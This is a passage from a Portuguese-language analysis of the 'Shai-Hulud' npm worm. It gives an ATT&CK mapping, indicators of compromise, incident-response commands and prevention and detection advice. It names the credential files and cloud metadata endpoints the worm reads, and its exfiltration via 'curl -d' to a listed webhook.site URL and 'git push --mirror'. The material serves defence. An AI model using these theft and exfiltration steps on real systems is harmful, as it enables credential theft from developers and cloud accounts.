| Execution | T1059.004 — Unix Shell | Scripts bash executados via spawn() com detached: true |
| Execution | T1059.007 — JavaScript | Webpack bundle executado via Node.js (postinstall) |
| Persistence | T1053 — Scheduled Task (via GitHub Actions) | Workflow shai-hulud-workflow.yml injetado, dispara em push |
| Persistence | T1505.003 — Web Shell (via GitHub Actions) | Workflow malicioso persiste como código legítimo no repositório |
| Credential Access | T1552.001 — Credentials in Files | ~/.aws/credentials, ~/.aws/config, ~/.git-credentials |
| Credential Access | T1552.004 — Private Keys | Leitura de ~/.ssh/id_* |
| Credential Access | T1555.003 — Cloud Secrets Manager | AWS Secrets Manager, GCP Secret Manager |
| Credential Access | T1528 — Steal Application Access Token | GITHUB_TOKEN, NPM_TOKEN, gh auth token |
| Discovery | T1082 — System Information Discovery | getSystemInfo() — OS, arch |
| Discovery | T1526 — Cloud Service Discovery | Varredura de 14 regiões AWS + projects GCP |
| Discovery | T1087.003 — Cloud Account Discovery | GetCallerIdentity, getProjectId, getOrgs |
| Discovery | T1613 — Container and Resource Discovery | Scan de filesystem com TruffleHog |
| Collection | T1213 — Data from Information Repositories | process.env, secrets managers, scan de código-fonte |
| Collection | T1005 — Data from Local System | process.env, ~/.aws/*, ~/.ssh/*, TruffleHog scan |
| Exfiltration | T1041 — Exfiltration Over C2 Channel | curl -d → webhook.site, git push --mirror, repo público “Shai-Hulud” |
| Exfiltration | T1537 — Transfer Data to Cloud Account | Migração de repositórios para conta do atacante |
| Impact | T1485 — Data Destruction | Remove .github/workflows dos repositórios roubados |
| Defense Evasion | T1070.004 — File Deletion | Remove binário TruffleHog, diretórios temporários |
| Defense Evasion | T1036.005 — Masquerading | Nome “Shai-Hulud”, “processor.sh” (nome genérico) |
| Defense Evasion | T1027.009 — Embedded Payloads | Bash scripts embutidos como strings em módulos webpack |
| Command and Control | T1105 — Ingress Tool Transfer | Download do TruffleHog via GitHub Releases (oficial) |
| Resource Development | T1583.001 — Domains | webhook.site (gratuito, anônimo) |
| Resource Development | T1584.004 — Server | Repositório GitHub “Shai-Hulud” como dead drop |
Indicadores de Comprometimento (IoCs)
Rede
| Indicador | Tipo | Contexto |
|---|---|---|
https://webhook.site/bb8ca5f6-4175-45d2-b042-fc9ebb8170b7 | URL | Exfiltração de GitHub Actions secrets |
https://api.github.com/repos/trufflesecurity/trufflehog/releases/latest | URL | Download do TruffleHog (domínio legítimo, uso malicioso) |
https://registry.npmjs.org | URL | Acesso ao registry NPM (domínio legítimo, uso malicioso) |
169.254.169.254 | IP | IMDS AWS (legítimo, mas usado para roubo de credenciais) |
169.254.170.2 | IP | ECS Task metadata endpoint |
metadata.google.internal | Hostname | Metadata server GCP |
Filesystem
| Caminho | Descrição |
|---|---|
/tmp/processor.sh | Script de injeção de workflow |
/tmp/migrate-repos.sh | Script de migração de repositórios |
/tmp/github-migration/ | Diretório temporário de migração |
/tmp/npm-update-* | Diretório temporário de atualização NPM |
trufflehog / trufflehog.exe (CWD) | Binário do TruffleHog (removido após scan) |
*.tar.gz (CWD) | Tarball do TruffleHog (removido após extração) |
GitHub
| Indicador | Descrição |
|---|---|
Branch shai-hulud | Branch criado em repositórios da vítima |
.github/workflows/shai-hulud-workflow.yml | Workflow malicioso injetado |
Repositório Shai-Hulud (público) | Dead drop com dados exfiltrados |
Repositórios *-migration (públicos) | Código-fonte roubado |
Descrição "Shai-Hulud Repository." | Descrição do repo dead drop |
Descrição "Shai-Hulud Migration" | Descrição dos repos migrados |
Processo
| Indicador | Descrição |
|---|---|
node bundle.js | Script postinstall injetado em pacotes NPM |
trufflehog filesystem . --json --results=verified | Comando de scan executado |
npm publish | Publicação de pacote infectado |
gh auth token | Roubo de token via GitHub CLI |
Resposta a Incidente
Se o bundle.js foi executado em sua máquina:
1. Revogar imediatamente:
- GitHub Personal Access Token (todas as instâncias)
- Token NPM (
npm token revoke) - AWS IAM Access Keys (todas)
- GCP Service Account Keys (todas)
- Qualquer credencial em
process.envno momento da execução
2. Verificar GitHub:
# Verificar branches "shai-hulud" nos seus repositórios
gh repo list --limit 100 --json nameWithOwner | jq -r '.[].nameWithOwner' | \
while read repo; do
gh api "repos/$repo/git/refs/heads/shai-hulud" 2>/dev/null && \
echo "INFECTED: $repo"
done
# Verificar workflows maliciosos
gh search code ".github/workflows/shai-hulud-workflow.yml" --owner SEU_USER
3. Verificar repositórios migrados:
- Buscar por repos com nome
*-migrationem outras contas - Verificar organizações por repos desaparecidos ou tornados públicos
4. Verificar AWS:
# CloudTrail: chamadas ListSecrets e GetSecretValue nas 14 regiões
aws cloudtrail lookup-events \
--lookup-attributes AttributeKey=EventName,AttributeValue=ListSecrets
aws cloudtrail lookup-events \
--lookup-attributes AttributeKey=EventName,AttributeValue=GetSecretValue
5. Verificar GCP:
# Audit Logs: chamadas SecretManager.ListSecrets e AccessSecretVersion
gcloud logging read \
'protoPayload.methodName="google.cloud.secretmanager.v1.SecretManagerService.ListSecrets"' \
--limit=50
gcloud logging read \
'protoPayload.methodName="google.cloud.secretmanager.v1.SecretManagerService.AccessSecretVersion"' \
--limit=50
6. Verificar NPM:
# Listar pacotes publicados recentemente
npm search --search=SEU_USERNAME --json
# Verificar versões suspeitas (patch bump inesperado)
npm view SEU_PACOTE versions --json
7. Limpeza de artefatos:
rm -f /tmp/processor.sh /tmp/migrate-repos.sh
rm -rf /tmp/github-migration/ /tmp/npm-update-*
O Que Torna Este Malware Notável
Cinco vetores simultâneos: Nenhum é dependente do outro. Se um falha, os outros continuam.
Uso de ferramentas legítimas: TruffleHog é baixado da release oficial do GitHub. Os SDKs AWS e GCP são os pacotes npm oficiais. Impossível detectar por assinatura de binário.
Persistência indireta: O workflow injetado nos repositórios é uma bomba-relógio. Mesmo que o malware original seja removido, o workflow continua lá — e dispara no próximo push.
Supply chain recursivo: O
updatePackagenão só injeta o bundle nos pacotes do maintainer, como também adicionapostinstall. Cada vítima que instala o pacote infectado executa o bundle — que por sua vez injeta o workflow e rouba mais tokens.Background total:
detached: true+unref()significa que os scripts bash continuam rodando depois que o Node termina. Matar o processo Node não interrompe a migração de repositórios.Limpeza pós-execução: TruffleHog é removido, tarballs são deletados, diretórios temporários são limpos. O único artefato persistente é o workflow injetado — que parece legítimo.
Nomenclatura temática: “Shai-Hulud” (Duna/Frank Herbert) — os vermes da areia que consomem tudo. O atacante tem senso de humor.
Como Se Proteger
Prevenção
- Token scoping mínimo: Use GitHub fine-grained tokens, nunca classic PATs com escopo amplo
- NPM tokens com escopo: Tokens granulares por pacote, não tokens globais
- Bloquear webhook.site e similares no proxy/firewall de saída (existem dezenas de alternativas: requestbin, pipedream, beeceptor, etc.)
- Auditar scripts
postinstallcomnpm install --ignore-scriptsem ambientes sensíveis - Bloquear acesso a IMDS de containers (IAM roles for service accounts no EKS, workload identity no GKE)
- Verificar
.github/workflowsregularmente — workflows não autorizados em branches não-default
Detecção
- Monitorar branches com nomes suspeitos (
shai-hulud,backup,test-workflow) - Alertar em
ListSecretseGetSecretValuecross-region (múltiplas regiões em curto intervalo) - Monitorar
git push --mirrorpara destinos externos - Detectar
npm publishfora de pipelines de CI/CD autorizados - Alertar em execução de binários baixados dinamicamente (
trufflehog,trufflehog.exe)
Conclusão (ou “Pensamentos em Voz Alta do Semi-analfabeto que vos Escreve”)
O que esse malware demonstra, tecnicamente:
Webpack como vetor de ofuscação: um bundle de 3.7 MB com 1000+ módulos torna a análise manual proibitiva. Cada módulo legítimo (99% do código) serve como camuflagem para os 1% maliciosos.
Separação de responsabilidades em módulos: GitHub, NPM, AWS, GCP, TruffleHog — cada um independente, cada um com seu próprio tratamento de erro. Se um falha, os outros continuam.
Abuso de ferramentas legítimas: TruffleHog, Octokit, AWS SDK, Google Cloud SDK — todas oficiais. Nenhuma assinatura de malware. Nenhum binário customizado.
Persistência via CI/CD legítimo: O workflow injetado é um GitHub Actions workflow. Não é um backdoor no sistema operacional — é um backdoor na pipeline de CI/CD. A vítima literalmente configura o ambiente para o atacante.
Supply chain como vetor de propagação: Um desenvolvedor instala um pacote → o postinstall executa o bundle → o bundle injeta o workflow nos repos do desenvolvedor → o workflow captura secrets no próximo push → o bundle também atualiza os pacotes NPM do desenvolvedor → outros desenvolvedores instalam a versão infectada → recursão.
Dead drop público: O repositório “Shai-Hulud” é um mecanismo simples, mas genial (pelo menos Eu achei… Me deixa.), de exfiltração. Sem domínio para derrubar, sem IP para bloquear — é um repositório público do GitHub. O GitHub não vai remover a menos que seja reportado, e o atacante pode criar outro em segundos.
O Ecossistema Exposto
Este malware explora uma interseção específica de ecossistemas que raramente são considerados juntos em modelos de ameaça:
- GitHub Actions secrets — frequentemente contêm credenciais de deploy, tokens de acesso, chaves de API
- NPM registry — o vetor de propagação, abusando da confiança no
postinstall - AWS + GCP Secrets Managers — o destino final: credenciais de produção em texto puro
- GitHub CLI (
gh) — instalado em máquinas de desenvolvedor, fornece token sem precisar de env var
A combinação desses quatro ecossistemas em um único payload é o que torna este malware particularmente perigoso: ele não ataca um sistema — ataca toda a cadeia de desenvolvimento e deploy.
Shouts para:
- Novamente pro Vdgonc pelas conversas
- To the VXer who send me the sample (since 2014-ish and count…)
- Frank Herbert, por emprestar “Shai-Hulud” sem saber
- A equipe do TruffleHog, cuja ferramenta é tão boa que até malware usa
webhook.site— MVP da exfiltração anônima